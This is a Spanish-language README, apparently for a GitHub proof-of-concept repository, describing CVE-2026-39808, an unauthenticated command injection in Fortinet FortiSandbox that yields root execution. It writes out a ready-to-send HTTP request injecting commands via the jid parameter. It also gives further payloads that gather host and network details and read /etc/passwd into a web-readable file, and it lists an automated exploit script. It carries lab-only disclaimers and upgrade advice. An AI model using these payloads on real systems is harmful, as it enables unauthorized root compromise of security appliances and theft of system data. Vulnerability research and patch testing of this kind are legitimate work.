🚨 Escape de Sandbox Root en FortiSandbox - CVE-2026-39808

---

🎯 Descripción general

Este repositorio contiene un Proof of Concept limpio y bien documentado para CVE-2026-39808 — una vulnerabilidad crítica de inyección de comandos sin autenticación en Fortinet FortiSandbox que permite el escape de sandbox y la ejecución remota de código como root (uid=0).

Qué demuestra este PoC:

• Path Traversal + inyección de comandos a través del parámetro jid
• Escape de la sandbox del entorno de análisis
• Ejecución de comandos arbitrarios con privilegios de root
• Lectura de archivos del sistema e información de red

📸 Demo

Explotación exitosa mostrando uid=0 gid=0 groups=0

🚀 Versiones Afectadas

🛠️ Cómo Usarlo (Solo Laboratorio)

1. Payload Simple (Recomendado)

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. Ver el resultado

Abrir en el navegador:

https://your-lab-ip/ng/out.txt

3. Ejemplos de Payloads Avanzados

# Get IP address + hostname
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# Full system reconnaissance
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 Contenido del Repositorio

• poc.py → Exploit automatizado en Python
• burp-request.txt → Petición de Burp Suite lista para usar
• payloads.md → Colección de payloads útiles
• screenshots/ → Imágenes de explotación paso a paso
• README.md → Este archivo

⚠️ Notas Importantes

• Solo para fines educativos y de laboratorio
• NO lo utilices en sistemas de producción o sistemas no autorizados
• Obtén siempre el permiso adecuado antes de realizar pruebas
• Actualiza tu FortiSandbox a la versión 4.4.9+ o 5.0.6+

🛡️ Mitigación

Actualiza FortiSandbox de inmediato a una de las siguientes versiones:

• 4.4.9 o superior
• 5.0.6 o superior

Fortinet ha publicado parches oficiales que solucionan esta vulnerabilidad.